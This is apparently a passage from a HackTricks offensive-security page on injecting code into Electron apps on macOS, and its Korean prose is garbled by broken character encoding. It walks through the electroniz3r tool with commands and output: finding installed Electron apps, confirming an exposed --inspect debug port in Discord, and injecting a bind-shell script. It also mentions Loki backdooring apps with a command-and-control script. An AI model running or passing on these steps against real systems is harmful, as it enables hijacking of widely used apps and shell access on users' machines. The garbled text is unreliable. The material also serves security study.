๋๊ตฌ electroniz3r๋ ์ทจ์ฝํ Electron ์ ํ๋ฆฌ์ผ์ด์
์ ์ฝ๊ฒ ์ฐพ์์ ๊ทธ ์์ ์ฝ๋๋ฅผ ์ฃผ์
ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ๋๊ตฌ๋ --inspect ๊ธฐ์ ์ ์ฌ์ฉํ๋ ค๊ณ ์๋ํฉ๋๋ค:
์ง์ ์ปดํ์ผํด์ผ ํ๋ฉฐ ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉํ ์ ์์ต๋๋ค:
# Find electron apps
./electroniz3r list-apps
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Bundle identifier โ Path โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
Loki๋ Electron ์ ํ๋ฆฌ์ผ์ด์ ์ JavaScript ํ์ผ์ Loki Command & Control JavaScript ํ์ผ๋ก ๊ต์ฒดํ์ฌ ๋ฐฑ๋์ด๋ฅผ ์ค๊ณํ์ต๋๋ค.
References
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85
- https://www.electronjs.org/blog/statement-run-as-node-cves
- https://m.youtube.com/watch?v=VWQY5R2A6X8
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


